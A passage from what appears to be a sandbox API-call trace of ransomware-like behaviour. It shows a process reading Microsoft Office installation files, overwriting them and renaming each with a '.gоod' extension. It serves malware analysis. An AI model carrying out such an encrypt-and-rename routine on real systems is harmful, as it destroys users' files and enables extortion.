fInfoLevelId=0x0, lpFileInformation=0x3590978 | out: lpFileInformation=0x3590978*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe33a4c67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe33a4c67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3607185, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc61000)) returned 1 [0159.478] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0159.478] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi", lpFilePart=0x0) returned 0x40 [0159.478] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0159.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0159.479] GetFileType (hFile=0x810) returned 0x1 [0159.479] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0159.479] GetFileType (hFile=0x810) returned 0x1 [0159.479] SetFilePointer (in: hFile=0x810, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1000 [0159.479] ReadFile (in: hFile=0x810, lpBuffer=0x3590d80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee3b8, lpOverlapped=0x0 | out: lpBuffer=0x3590d80*, lpNumberOfBytesRead=0x1fbee3b8*=0x1000, lpOverlapped=0x0) returned 1 [0159.480] CloseHandle (hObject=0x810) returned 1 [0159.480] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi", lpFilePart=0x0) returned 0x40 [0159.480] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0159.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0159.481] GetFileType (hFile=0x810) returned 0x1 [0159.481] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0159.481] GetFileType (hFile=0x810) returned 0x1 [0159.481] SetFilePointer (in: hFile=0x810, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0xc61000 [0159.481] WriteFile (in: hFile=0x810, lpBuffer=0x3592030*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbee2d8, lpOverlapped=0x0 | out: lpBuffer=0x3592030*, lpNumberOfBytesWritten=0x1fbee2d8*=0x10, lpOverlapped=0x0) returned 1 [0159.487] CloseHandle (hObject=0x810) returned 1 [0159.487] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi", lpFilePart=0x0) returned 0x40 [0159.487] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0159.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0159.487] GetFileType (hFile=0x810) returned 0x1 [0159.487] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0159.487] GetFileType (hFile=0x810) returned 0x1 [0159.487] ReadFile (in: hFile=0x810, lpBuffer=0x35942e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee368, lpOverlapped=0x0 | out: lpBuffer=0x35942e8*, lpNumberOfBytesRead=0x1fbee368*=0x1000, lpOverlapped=0x0) returned 1 [0160.078] CloseHandle (hObject=0x810) returned 1 [0160.078] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi", lpFilePart=0x0) returned 0x40 [0160.078] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0160.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0160.078] GetFileType (hFile=0x810) returned 0x1 [0160.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0160.079] GetFileType (hFile=0x810) returned 0x1 [0160.079] WriteFile (in: hFile=0x810, lpBuffer=0x3456660*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbee418, lpOverlapped=0x0 | out: lpBuffer=0x3456660*, lpNumberOfBytesWritten=0x1fbee418*=0x1010, lpOverlapped=0x0) returned 1 [0160.256] CloseHandle (hObject=0x810) returned 1 [0160.257] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi", lpFilePart=0x0) returned 0x40 [0160.257] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi.gоod", lpFilePart=0x0) returned 0x45 [0160.257] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0160.257] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe33a4c67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe33a4c67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5bbcf0ad, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc61010)) returned 1 [0160.257] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0160.257] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi.gоod" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi.gоod")) returned 1 [0160.257] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi", lpFilePart=0x0) returned 0x49 [0160.257] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0160.257] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rintloc.en-us.16.msi"), fInfoLevelId=0x0, lpFileInformation=0x363a150 | out: lpFileInformation=0x363a150*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe384358e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe384358e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3acbcd3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb000)) returned 1 [0160.258] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0160.258] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi", lpFilePart=0x0) returned 0x49 [0160.258] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0160.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rintloc.en-us.16.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0160.258] GetFileType (hFile=0x810) returned 0x1 [0160.258] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0160.258] GetFileType (hFile=0x810) returned 0x1 [0160.258] SetFilePointer (in: hFile=0x810, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1000 [0160.258] ReadFile (in: hFile=0x810, lpBuffer=0x363a598, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee3b8, lpOverlapped=0x0 | out: lpBuffer=0x363a598*, lpNumberOfBytesRead=0x1fbee3b8*=0x1000, lpOverlapped=0x0) returned 1 [0160.259] CloseHandle (hObject=0x810) returned 1 [0160.259] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi", lpFilePart=0x0) returned 0x49 [0160.259] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0160.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rintloc.en-us.16.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0160.260] GetFileType (hFile=0x810) returned 0x1 [0160.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0160.260] GetFileType (hFile=0x810) returned 0x1 [0160.260] SetFilePointer (in: hFile=0x810, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0xb000 [0160.260] WriteFile (in: hFile=0x810, lpBuffer=0x363b848*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbee2d8, lpOverlapped=0x0 | out: lpBuffer=0x363b848*, lpNumberOfBytesWritten=0x1fbee2d8*=0x10, lpOverlapped=0x0) returned 1 [0160.260] CloseHandle (hObject=0x810) returned 1 [0160.260] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi", lpFilePart=0x0) returned 0x49 [0160.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0160.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rintloc.en-us.16.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0160.260] GetFileType (hFile=0x810) returned 0x1 [0160.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0160.260] GetFileType (hFile=0x810) returned 0x1 [0160.260] ReadFile (in: hFile=0x810, lpBuffer=0x363db20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee368, lpOverlapped=0x0 | out: lpBuffer=0x363db20*, lpNumberOfBytesRead=0x1fbee368*=0x1000, lpOverlapped=0x0) returned 1 [0160.321] CloseHandle (hObject=0x810) returned 1 [0160.321] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi", lpFilePart=0x0) returned 0x49 [0160.321] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0160.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rintloc.en-us.16.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0160.322] GetFileType (hFile=0x810) returned 0x1 [0160.322] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0160.322] GetFileType (hFile=0x810) returned 0x1 [0160.322] WriteFile (in: hFile=0x810, lpBuffer=0x34bde68*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbee418, lpOverlapped=0x0 | out: lpBuffer=0x34bde68*, lpNumberOfBytesWritten=0x1fbee418*=0x1010, lpOverlapped=0x0) returned 1 [0160.322] CloseHandle (hObject=0x810) returned 1 [0160.322] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi", lpFilePart=0x0) returned 0x49 [0160.322] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi.gоod", lpFilePart=0x0) returned 0x4e [0160.322] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0160.322] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rintloc.en-us.16.msi"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe384358e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe384358e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5bc676e4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xb010)) returned 1 [0160.322] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0160.322] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rintloc.en-us.16.msi"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi.gоod" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rintloc.en-us.16.msi.gоod")) returned 1 [0160.323] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x65 [0160.323] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0160.323] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.access.access.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x34c3ec0 | out: lpFileInformation=0x34c3ec0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd23fe538, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd23fe538, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2686ce0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x91f0)) returned 1 [0160.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0160.323] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x65 [0160.323] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0160.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.access.access.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0160.324] GetFileType (hFile=0x810) returned 0x1 [0160.324] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0160.324] GetFileType (hFile=0x810) returned 0x1 [0160.324] SetFilePointer (in: hFile=0x810, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1000 [0160.324] ReadFile (in: hFile=0x810, lpBuffer=0x34c43e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee3b8, lpOverlapped=0x0 | out: lpBuffer=0x34c43e8*, lpNumberOfBytesRead=0x1fbee3b8*=0x1000, lpOverlapped=0x0) returned 1 [0160.326] CloseHandle (hObject=0x810) returned 1 [0160.326] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x65 [0160.326] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0160.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.access.access.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0160.326] GetFileType (hFile=0x810) returned 0x1 [0160.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0160.326] GetFileType (hFile=0x810) returned 0x1 [0160.326] SetFilePointer (in: hFile=0x810, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x91f0 [0160.327] WriteFile (in: hFile=0x810, lpBuffer=0x34c5708*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbee2d8, lpOverlapped=0x0 | out: lpBuffer=0x34c5708*, lpNumberOfBytesWritten=0x1fbee2d8*=0x10, lpOverlapped=0x0) returned 1 [0160.328] CloseHandle (hObject=0x810) returned 1 [0160.328] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x65 [0160.328] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0160.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.access.access.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0160.328] GetFileType (hFile=0x810) returned 0x1 [0160.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0160.328] GetFileType (hFile=0x810) returned 0x1 [0160.328] ReadFile (in: hFile=0x810, lpBuffer=0x34c7a50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee368, lpOverlapped=0x0 | out: lpBuffer=0x34c7a50*, lpNumberOfBytesRead=0x1fbee368*=0x1000, lpOverlapped=0x0) returned 1 [0161.400] CloseHandle (hObject=0x810) returned 1 [0161.400] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x65 [0161.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0161.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.access.access.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0161.400] GetFileType (hFile=0x810) returned 0x1 [0161.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0161.400] GetFileType (hFile=0x810) returned 0x1 [0161.400] WriteFile (in: hFile=0x810, lpBuffer=0x34b7248*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbee418, lpOverlapped=0x0 | out: lpBuffer=0x34b7248*, lpNumberOfBytesWritten=0x1fbee418*=0x1010, lpOverlapped=0x0) returned 1 [0161.400] CloseHandle (hObject=0x810) returned 1 [0161.400] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x65 [0161.400] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml.gоod", lpFilePart=0x0) returned 0x6a [0161.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0161.401] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.access.access.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd23fe538, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd23fe538, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5c6afbf0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x9200)) returned 1 [0161.401] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0161.401] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.access.access.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.access.access.x-none.msi.16.x-none.xml.gоod")) returned 1 [0161.401] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x59 [0161.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0161.401] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.accessmui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x371b770 | out: lpFileInformation=0x371b770*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd32bedda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd32bedda, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd356d87a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe71c)) returned 1 [0161.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0161.402] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmui.msi.16.en-us.xml", 